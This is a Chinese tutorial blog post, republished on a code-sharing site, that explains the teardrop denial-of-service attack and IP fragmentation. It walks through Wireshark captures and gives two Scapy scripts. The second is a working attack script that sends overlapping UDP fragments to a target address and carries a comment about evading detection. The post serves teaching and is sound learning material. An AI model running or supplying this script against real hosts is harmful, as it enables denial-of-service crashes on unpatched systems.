ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

图解:Scapy实现Tear Drop攻击

2022-03-18 18:08:55  阅读:279  来源: 互联网

标签:Drop 字节 Tear IP dst Scapy 分片 数据包 ###


1. 什么是tear drop 攻击?

在拒绝服务 (DoS) tear drop攻击中,客户端向机器发送格式错误的信息包,并利用重新组装数据包时发生的错误,从而导致服务器性能下降。

​ tear drop攻击是一种拒绝服务 (DoS) 攻击(一种尝试通过向网络或服务器充斥请求和数据来使计算机资源不可用的攻击。)攻击者将碎片数据包发送到目标服务器,并且在某些存在 TCP/IP 漏洞的情况下,服务器无法重新组装数据包,从而导致过载。

2. 为什么tear drop攻击很重要?

​ 许多组织仍然依赖旧的、过时的或未打补丁的操作系统来运行他们仍然需要的遗留应用程序。此类组织很容易受到tear drop攻击,这些攻击威胁到任务关键型应用程序的瘫痪。

3. tear drop攻击如何工作?

​ TCP/IP 实现因平台而异。某些操作系统(尤其是旧版本的 Windows 和 Linux)包含 TCP/IP 碎片重组错误。tear drop攻击旨在利用此弱点。在tear drop攻击中,客户端将故意分段的信息包发送到目标设备。由于数据包重叠,因此当设备尝试重新组装数据包时会发生错误。攻击利用该错误在处理数据包的操作系统或应用程序中造成致命的崩溃。

4. 如何处理tear drop攻击?

  • 通过检查传入数据包的帧对齐和丢弃格式不正确的数据包来防止tear drop攻击。

5. 如何查看一个报文是否分片?

  • 在IPv4报文结构中,flags的第三位=1,表明该报文是一个分片,而且后面还有分片,直到看到MF=0代表已经是最后一个分片。
  • 在wireshark的ipv4 flags其中一个字段显示:..1. .... = More fragments: Set,表明它是一个分片,也是识别分片的标志

6. 如何伪造一个正常的IP分片?

​ Scapy是一个很容易生成你想要的数据包,真的是一个很棒的工具,它非常灵活。

​ 在下面的示例中,我们将通过脚本执行进行数据包的分段。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# @Author: Rosaany
# @Time: 2022-03-05 19:38
import scapy.all as scapy

dst = "19.19.19.5"
src = '19.19.19.11'
payload = "A" * 496 + "B" * 500 + "C" * 500

# 构造数据包
packet = scapy.IP(dst=dst, src=src, id=12345) / scapy.UDP(sport=1500, dport=1501) / payload

# IP分片(500bytes切片)
frags = scapy.fragment(packet, fragsize=500)

counter = 1
for fragment in frags:
    print("Packet no#" + str(counter))
    print("=" * 50)
    fragment.show()  # 打印每一个片段
    counter += 1
    scapy.send(fragment)

此时,为了加深对ip分段的理解,我们提前打开wireshark输出以下过滤条件:

ip.flags.mf and ip.addr==19.19.19.5

把上面代码,保存到ip_flags_mf.py文件中,然后在python3环境下运行该文件,打印输出每片报文详细信息,如下:

$python3 ip_frags_mf.py
Packet no#1
==================================================
###[ IP ]### 
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 12345
  flags     = MF
  frag      = 0
  ttl       = 64
  proto     = udp
  chksum    = None
  src       = 19.19.19.11
  dst       = 19.19.19.5
  \options   \
###[ Raw ]### 
     load      = '\x05\\xdc\x05\\xdd\x05\\xe0\x00\\xa4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

.
Sent 1 packets.
Packet no#2
==================================================
###[ IP ]### 
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 12345
  flags     = MF
  frag      = 62
  ttl       = 64
  proto     = udp
  chksum    = None
  src       = 19.19.19.11
  dst       = 19.19.19.5
  \options   \
###[ Raw ]### 
     load      = 'AAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'

WARNING: Mac address to reach destination not found. Using broadcast.
.
Sent 1 packets.
Packet no#3
==================================================
###[ IP ]### 
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 12345
  flags     = MF
  frag      = 124
  ttl       = 64
  proto     = udp
  chksum    = None
  src       = 19.19.19.11
  dst       = 19.19.19.5
  \options   \
###[ Raw ]### 
     load      = 'BBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC'

WARNING: Mac address to reach destination not found. Using broadcast.
WARNING: more Mac address to reach destination not found. Using broadcast.
.
Sent 1 packets.
Packet no#4
==================================================
###[ IP ]### 
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 12345
  flags     = 
  frag      = 186
  ttl       = 64
  proto     = udp
  chksum    = None
  src       = 19.19.19.11
  dst       = 19.19.19.5
  \options   \
###[ Raw ]### 
     load      = 'CCCCCCCCCCCCCCCC'

.
Sent 1 packets.
WARNING: Mac address to reach destination not found. Using broadcast.

同时,在wireshark上,我们捕获到碎片数据包,我们以wireshark展开说明

image

接下来,我们一帧一帧地分析它。

第一个包:

image

首先,我们从在前面构造的代码中得知,我们伪造了有效载荷数据(payload)496B+500B+500C=1496字节。在第一个包中,看到一些很有趣的数据,我们解读它:

  • 第一个分片中,长度Length=530字节,分片协议proto=17(UDP),偏移量off=0,标识符ID=3039,重组的报文在编号#964数据包中
  • Frame 490,也就是物理层,详细说明数据帧概况,该数据帧长度为530字节
  • Ethernet II,也就是链路层,详细说明以太网帧头部信息,源MAC地址+目的MAC地址+协议类型=6+6+2=14字节,最后到达物理层后就剩下516个字节
  • Internet Protocol Version 4,也就是网络层,详细说明互联网IP包头信息,IP报文总长度Total Length=516字节,IP头部大小20字节,Data也就是payload=496字节
  • 在ipv4首部的详细信息,可以看到ID等于十六进制的0x3039,转化为十进制就是12345;Flags第三位为1,表示后面还有分片,反之如果为0,则说明它的后面不再有分片;Fragment Offset共13位,因此每一个分片必须为8的倍数。

为什么偏移值必须为8的倍数,按照我的理解:我们知道IP数据包的最大长度是64K字节(65535),而Fragment Offset一共只有13位,转化为十进制就是8191(13个1),那么65535/8191化整等于8,这也就解释为什么分段偏移值必须为8的倍数。

第二个包:

image

我们从第二分片中的信息可以看到,偏移值为496,说明上一片的数据部分为496字节。

这里的偏移值为什么是496?是因为我们设置分段标准为500,转化成8的倍数,离500最近的也就是496,496/8=62,其实fragment offest = 62是真正值,这里因为Wireshark的版本变化而导致,要是想查看“真实”数据包,你可以关闭该功能。转到Edit -> Preferences -> Protocols -> IPv4 并取消选择“Reassemble fragmented IPv4 datagrams“,Wireshark默认设置重组分段IPv4数据报。

同理的,第三个包偏移值就是992了

那么我们看第四个包:

image

我们从第4个分片的可以看到,它是一个重组后的数据包。在所有分片达到目标主机后,接收器就会根据它的源地址、目标地址、协议ID和识别字段来表示匹配的片段。接收器使用片段偏移量和更多片段重新组合有着相同ID的分片数据。当接收器接收到最后一个分片,它的more fragment字段设置为0,在这个例子中,可以通过将最后一个分片的偏移量加上最后一个分片的数据大小来计算原始数据有效载荷的大小。这个计算就是496*3+16=1504字节

7. 如何构造一个tear drop 攻击报文?

如果一个分段数据包的偏移值和有效载荷长度之和与下一个分段数据包的偏移量的大小之和不通,则数据包重叠。发生这种情况时,易受泪滴攻击的服务器无法重新组装数据包,从而导致拒绝服务情况

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# @Author: Rosaany
# @Time: 2022-03-05 19:38

import random
from scapy.all import *


def tear_drop_attack():
    """构造数据包个数"""
    counter = 1

    while counter >= 1:
        """随机生成一个标识"""
        id = random.randrange(1, 65535)

        src_ip = '19.19.19.11'
        dst_ip = '19.19.19.19'
        dst_mac = '0c:73:eb:9c:26:a0'

        """设置偏移字段"""
        offset = 7 # 重叠
        # offset = 8  # 正常
        # offset = 9 # 错开


        """构造payload"""
        load1 = "A" * 56
        load2 = "B" * 56

        """构造数据"""
        packet_1 = Ether(dst=dst_mac) \
                   / IP(src=src_ip, dst=dst_ip, id=id, flags='MF', proto=17, frag=0) \
                   / UDP(sport=8081, dport=6319) \
                   / load1
        packet_2 = Ether(dst=dst_mac) \
                   / IP(src=src_ip, dst=dst_ip, id=id, flags=0, proto=17, frag=offset) \
                   / UDP(sport=8081, dport=6319) \
                   / load2


        """打印每一个报文详细信息"""
        packet_1.show()
        packet_2.show()

        """发送数据帧"""
        sendp([packet_1, packet_2])
        
        counter -= 1

        """规避1秒检测"""
        if counter % 50 == 0:
            time.sleep(1)


if __name__ == '__main__':
    tear_drop_attack()

把上面代码,保存到udp_tear_drop_attack.py文件中,然后在python3环境下运行该文件,在wireshark捕获流量,如下:

image

上面示例中,是一个分片重叠的例子。如果第二个分片是正常的分片,那么它的偏移量应该就等于64,否则小于64,我们就认为整个原始数据包出现重叠,大于64则认为在整个原始数据包出现错开。给定示例中,第一个分片的payload:0-63,第二个分片56-119,第二个分片出现在第一个分片范围内,出现重叠现象。

8. 回顾

在第6节,我们详细说明如何伪造一个正常的IP分片,如下表格是一个正常的IP分片:

分片 大小(字节) 标头大小(字节) 数据大小(字节) 标记(more fragment) 分片偏移量(8字节块)
1 516 20 496 1 0
2 516 20 496 1 62(496)
3 516 20 496 1 124(992)
4 36 20 16 0 186(1488)

在第7节中,详细说明如何伪造一个重叠的IP分片,如下表格是一个重叠的IP分片:

分片 大小(字节) 标头大小(字节) 数据大小(字节) 标记(more fragment) 分片偏移量(8字节块)
1 84 20 64 1 0
2 84 20 64 0 7(56)

同样地,我们还可以伪造出错开的IP分片,但是如果这样做,接收器可能认为是不是还有分片未到,还需再等待一会。当然,这个等待时长不会很长,分片重组如果无法在超时机制内完成重组,系统将删除缓冲区中的分片,从而放弃重组。

9. 参考文章

https://osqa-ask.wireshark.org/questions/29028/question-about-fragmentation-packets/

https://scapy.readthedocs.io/en/latest/usage.html

https://rtodto.net/fragmented-ip-packet-forwarding/

https://zh.wikipedia.org/wiki/IPv4

https://en.wikipedia.org/wiki/IPv4#Fragmentation_and_reassembly

https://fasionchan.com/network/ip/fragmentation/

标签:Drop,字节,Tear,IP,dst,Scapy,分片,数据包,###
来源: https://www.cnblogs.com/Rosaany/p/16022954.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有